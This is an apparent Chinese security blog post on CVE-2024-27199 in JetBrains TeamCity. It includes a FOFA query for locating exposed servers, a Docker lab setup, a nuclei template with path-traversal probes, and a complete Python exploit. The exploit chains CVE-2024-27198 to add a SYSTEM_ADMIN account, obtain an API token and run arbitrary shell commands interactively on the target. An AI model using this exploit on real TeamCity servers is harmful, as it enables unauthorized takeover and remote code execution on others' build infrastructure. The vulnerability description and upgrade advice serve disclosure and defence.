CVE-2024-27199(POC&EXP)

CVE-2024-27199(POC&EXP)

原创 fgz AI与网安 2024-03-10 06:00





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

TeamCity 权限绕过漏洞

02

漏洞影响

JetBrains TeamCity < 2023.11.4版本

CVE-2024-27199(POC&EXP) -1

03

漏洞描述

JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、
测试和部署软件项目。
TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。

JetBrains TeamCity在2023.11.4之前存在路径遍历漏洞,攻击者可利用此漏洞构造恶意请求执行未授权的有限管理员操作,例如覆盖证书等等。

04

FOFA搜索语句

app="JET_BRAINS-TeamCity"

CVE-2024-27199(POC&EXP) -2

05

靶场搭建

docker安装

拉取镜像

docker pull jetbrains/teamcity-server:2023.11.3

启动容器

docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

然后访问
http://localhost:8111

06

批量扫描poc

如果直接使用上面的数据包,实际上已经是一种入侵行为,尝试通过判断版本号来扫描漏洞。各位看官有更好的办法记得私信我。

nuclei poc文件内容如下

id: CVE-2024-27199

info:
  name: TeamCity < 2023.11.4 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
  reference:
    - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27199
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"TeamCity"
  tags: cve,cve2024,teamcity,jetbrains,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/res/../admin/diagnostic.jsp"
      - "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
      - "{{BaseURL}}/update/../admin/diagnostic.jsp"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
        condition: and
# digest: 490a0046304402207d46ec6991f8498ff8c74ec6ebfe0f59f19210620cab88c23c7761c7701b640102201246e4baea4f5b436b45be21c4f66bbe35e8a5f3769b78de38ee94253f331fa7:922c64590222798bb761d5b6d8e72950

运行POC

nuclei.exe -t mypoc/cve/CVE-2024-27199.yaml -l 1.txt

CVE-2024-27199(POC&EXP) -3

07

漏洞利用

github上发现个现成的用python写的EXP,这个脚本利用
CVE-2024-27198和
CVE-2024-27199实现远程命令执行,
EXP放到工具包中了,文末获取

import re
import sys
import string
import random
import urllib3
import requests
import argparse
import xml.etree.ElementTree as ET
from urllib.parse import quote_plus

urllib3.disable_warnings()
token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
GREEN = "\033[92m"
RESET = "\033[0m"

def GetUserID(response_text):
    try:
        root = ET.fromstring(response_text)
        user_info = {
            "username": root.attrib.get("username"),
            "id": root.attrib.get("id"),
            "email": root.attrib.get("email"),
        }
        return user_info["id"]
    except ET.ParseError as err:
        print(f"[-] Failed to parse user XML response: {err}", "!")
        return None

def GetToken(response_text):
    try:
        root = ET.fromstring(response_text)
        token_info = {
            "name": root.attrib.get("name"),
            "value": root.attrib.get("value"),
            "creationTime": root.attrib.get("creationTime"),
        }
        return token_info["value"]
    except ET.ParseError as err:
        print(f"[-] Failed to parse token XML response: {err}", "!")
        return None

def GetOSVersion(target, token):
    try:
        get_os_version_url_linux = target + "/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO"
        get_os_version_url_windows = target + "/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO"
        get_os_version_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        linux_response = requests.post(url=get_os_version_url_linux, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        if linux_response.status_code != 200:
            print("[-] Unable to obtain operating system version and then execute command.")
            sys.exit(0)
        if "ReadyGO" in linux_response.text:
            return "linux"
        else:
            windows_response = requests.post(url=get_os_version_url_windows, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
            if "ReadyGO" in windows_response.text:
                return "windows"
            else:
                print("[-] Unable to obtain operating system version, please try manual exploitation.")
                sys.exit(0)
    except Exception as err:
        print("[-] Error in func <GetOSVersion>, error message: " + str(err))

def ExecuteCommand(target, os_version, command, token):
    try:
        command_encoded = quote_plus(command)
        if os_version == "linux":
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh&params=-c&params={command_encoded}"
        else:
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe&params=/c&params={command_encoded}"
        exec_cmd_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        exec_cmd_response = requests.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)
        match = re.search(pattern, exec_cmd_response.text)
        if match:
            stdout_content = match.group(1).strip()
            if stdout_content == "":
                stderr_content = match.group(2).strip()
                print(stderr_content.split("\n\n")[0])
            else:
                print(stdout_content)
        else:
            print("[-] Match failed. Response text: \n" + exec_cmd_response.text)
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))

def AddUser(target, username, password, domain):
    add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
    add_user_headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    add_user_data = {
        "username": f"{username}",
        "password": f"{password}",
        "email": f"{username}@{domain}",
        "roles": {
            "role": [
                {
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }
            ]
        }
    }
    try:
        add_user_response = requests.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        user_id = GetUserID(add_user_response.text)
        if add_user_response.status_code == 200 and user_id is not None:
            print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")
            Exploit(target, user_id)
        else:
            print(f"[-] Failed to add user, there is no vulnerability in {target}")
    except Exception as err:
        print("[-] Error in func <AddUser>, error message: " + str(err))

def Exploit(target, user_id):
    exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
    exploit_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    try:
        exploit_response = requests.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        token = GetToken(exploit_response.text)
        os_version = GetOSVersion(target, token)
        print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")
        print("[+] Please start executing commands freely! Type <quit> to end command execution")
        while True:
            command = input(f"{GREEN}command > {RESET}")
            if command == "quit":
                sys.exit(0)
            ExecuteCommand(target, os_version, command, token)
    except Exception as err:
        print("[-] Error in func <Exploit>, error message: " + str(err))

def ParseArguments():
    banner = r"""
 _____                     ____ _ _           ____   ____ _____ 
|_   _|__  __ _ _ __ ___  / ___(_) |_ _   _  |  _ \ / ___| ____|
  | |/ _ \/ _` | '_ ` _ \| |   | | __| | | | | |_) | |   |  _|  
  | |  __/ (_| | | | | | | |___| | |_| |_| | |  _ <| |___| |___ 
  |_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
                                      |___/                     
                                                                            Author: @W01fh4cker
                                                                            Github: https://github.com/W01fh4cker
    """
    print(banner)
    parser = argparse.ArgumentParser(description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")
    parser.add_argument("-u", "--username", type=str, help="username you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-p", "--password", type=str, help="password you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-t", "--target", type=str, help="target url", required=True)
    parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address", required=False)
    parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
    return parser.parse_args()

if __name__ == "__main__":
    args = ParseArguments()
    if not args.username:
        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    else:
        username = args.username
    if not args.password:
        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
    else:
        password = args.password
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    AddUser(target=args.target.rstrip("/"), username=username, password=password, domain=args.domain)
python CVE-2024-27198-RCE.py -t http://dev.w01fh4cker.local

CVE-2024-27199(POC&EXP) -4

08

修复建议

升级到2023.11.4及以上版本。

09

新粉丝福利领取

在公众号主页或者文章末尾点击发送消息免费领取。

发送【
电子书】关键字获取电子书

发送【
POC】关键字获取POC

发送【
工具】获取渗透工具包